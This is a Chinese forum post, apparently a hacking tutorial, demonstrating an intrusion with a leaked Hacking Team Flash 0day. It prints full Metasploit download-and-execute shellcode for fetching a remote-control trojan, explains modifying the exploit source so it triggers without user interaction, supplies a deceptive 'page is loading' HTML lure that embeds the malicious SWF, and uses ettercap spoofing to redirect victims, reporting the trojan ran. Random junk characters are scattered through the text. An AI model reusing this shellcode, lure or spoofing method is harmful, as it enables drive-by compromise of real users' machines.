, @9 A2 d: V2 o$ m" O5 l& K 三、flash 0day之手工代码修改制作下载者实例入侵演示
利用到的工具:
~6 v& s- P# q" B1 X# f) CMsf
, w* Q+ L9 b+ Z& eC. W2 Z8 x! N Ettercap ; a0 F! e4 m" W6 _; W
0 e. M. i8 H- j Adobe Flash CS6
% m/ v8 L0 e5 l/ g4 l Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
) y5 E h' x" m- B% x9 d3 U& O+ n% P下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
如图:
' M6 U1 Y. l' j6 s R* W7 ^4 Y! |2 ~! ]0 O/ m8 W6 S 2 x- |! Y& Z9 h, U8 ~7 Z$ c
* p: d$ X: ^% v2 [" E4 W7 B
9 B9 X8 c7 d/ i6 K2 K3 } 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
4 y! v& l: z) k' D6 I9 ]
$ `8 N0 L% o: @! |, z8 Z9 b
0 \7 z2 X, w: d1 P0 g 然后执行generate -t dword生成shellcode,如下: & E) T* ~! q4 Y- ]1 v
+ b7 w; X5 G1 s; K }5 p+ ~& i4 Q6 z, A" O0 X
Z8 ^6 w- w4 e8 X% J* H
复制代码到文本下便于我们一会编辑flash exp,如下:
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, + ^' ` A: {$ `2 P8 g$ O
1 h$ c. {9 z# b H7 z8 e2 s 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
' @8 I% T2 G7 K9 C4 s0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
+ K; q' n& ^5 F3 o: P) d% T 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, : R3 O& E& b2 ~4 L
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
: v5 Z; ^4 Q4 |. Y4 ^, a2 {- N4 g* o' ~. p! R( v% T 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
3 R! R8 j4 s- m' KG, I/ I4 K, O& r4 z; [" m ?3 o 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, # e, p1 j7 _% T( V& P1 S I- I k
# M8 C2 X) {/ [1 U9 x* |+ Q$ w+ _9 @7 y0 |8 ~+ f 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 9 v9 v3 q4 |" m3 H
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, * Q. y& w* g3 j) P3 H0 k
5 Q- B0 J! y' g9 C 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
; A* c2 V! _3 m% d0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
5 y( Q/ s, \/ y- `/ p 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 8 B7 N, L: _0 j
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
* R/ J0 H. D9 `* u' O- `; s
a f- g& |7 Z$ z9 G
( z% C2 j+ @1 W+ E7 E$ _; Z( N/ Q. s* h/ R 下面我们来修改flash 0day exp,需要修改三个文件,分别为: 0 J& ]. e( i4 K9 c* u \
1 w1 f U4 R# b
h2 h w# L: f9 e 先修改ShellWin32.as,部分源代码如图:
6 d; |( F( ?2 Y! b 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: ! b- Q2 a8 n. O0 E7 c
% @ D8 R( D# l
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
8 `5 ^$ v o# E6 B1 x$ k. N% M
换行在后面加一句TryExpl();注意是l不是数字1,然后如图: 9 `! V; c: q w& y& T
8 {+ _( ?6 }& f) t J I+ n' N, }& U' d5 h$ q( f$ p- C 5 Y8 N& U; y) f+ |8 j% N1 y! @
i. f7 [. Z* o O/ {6 ]3 I, {
- j; N5 k4 m2 B- x" ]8 a1 S
然后点保存,下面我们来编译一下,打开
8 z: h( S' G, ?* o" Q) d. v8 ^ ]; a2 z" r$ F1 ~ exp1.fla然后点文件-发布,看看编译没错误
/ w/ J" b8 }2 F1 l7 k- I6 k% _
0 w% L( U9 K- G% k5 T U9 ^( W& F/ O @# C" Q) H
W, [1 ~) n6 R9 n$ O( A$ u/ d0 b p' H0 A* e
然后我们把生成的 # h: U8 I. L# \7 n3 P
$ n7 O% d) X& M0 {% f* [: Q exp1.swf丢到kailinux 的/var/www/html下:
然后把这段代码好好编辑一下 ! r! U3 B) q* x R @! P
6 x( q& W4 [+ Q) q0 g
* m( ]/ `" S1 m- }* ]: v
* ]: D; O# J! _ l! i
4 m( f. S0 x9 v' H* t& J. u8 U- G: l" d1 }- y
) N) K5 Q2 D y) W" D0 A n
6 r$ ~8 P$ O# z& S+ `
<!DOCTYPE html>
4 i3 V+ K1 @! P: J5 }- H7 }<html>
<head>
% O) H' }* D" @9 h9 Z6 [4 p& t) j% Y <meta http-equiv="Content-Type" content="text/html; * U: j* z2 ]. P: I% g% S' E) s( I. N; `
charset=utf-8"/> - h# u, i0 r4 [
( Z' _. i d: R3 @7 T8 k% ]4 ?; L</head> ; w# q; K+ G) \. q3 @% e
3 ~% ^# b% Z2 x; m E9 V" H+ i: i. S8 C+ l8 F2 l; ? <body> 8 M7 n2 S1 b5 }4 s
8 `9 ?( g0 C# O4 p- @0 `$ y. Q8 y4 _" k2 c' G7 \ <h2> Please wait, the requested page is loading...</h2> 0 B$ i- M# x! A2 t6 n
<br> 4 s, G% K. l' ~2 L9 \6 O
<OBJECT 7 l: ^/ q. w0 Z# e2 x h
classid="clsid
27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><
ARAM NAME=movie
5 o" @, F5 D0 X6 J+ k9 q7 R; s8 K VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
</body> o: _4 k( ]& O
<script>
" E0 }8 N( ^( j0 L+ z( \# d/ ysetTimeout(function () { % i0 [! R: q) ^. r) y1 H/ t6 ^
window.location.reload(); 5 c% {( H& _. ?8 ~! y
% u! W2 G% b& A, i5 ]1 O% ?( W) [}, 10000); 3 y: `, u' E6 M
% ~) Z9 ?. L" z& B d1 x9 Y) s! ?( L0 q( S& I( T9 T
</script>
. |+ ?$ i F0 F) H</html>
" l$ Q3 I& D. e& X. t ! i9 e7 }: L E% S: H0 } ^5 u
3 S7 z+ k' _+ D. F( G1 k0 [ 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
" B/ d* X" u/ J7 i3 `
4 J4 b1 n# j- Q) T5 K1 a+ o% @
1 U% D0 j7 i0 ]* j2 }8 V
2 v% `& p7 C! M
* `; E, y# M2 ]; |2 q- C k4 E' j* ]
8 \2 J2 P" S! e$ g7 V5 |8 j) Y下面我们用ettercap欺骗如图: * ^& R* R1 C2 f9 n
0 L2 N! i- j( [4 w/ M+ i5 p
5 S. M4 q/ D+ c* d/ T
下面我们随便访问个网站看看:
( R/ o& G* L7 r我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: ; `& {9 t' T5 `; @
; G) J2 k7 Y3 D* v; L2 c
5 H2 U# ^0 X" u, ~" p2 o" H2 ]9 V
我们看另一台, 8 Y+ s! ]( [9 {6 F# [( ]# b6 c
* W: G2 e; m: s! y5 i& ~4 y& S9 K, G% i& r
提示这个错误,说明木马是成功被下载执行了,
只是由于某些原因没上线而已。。。 2 e- q/ a V' |6 `' n- o( [
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |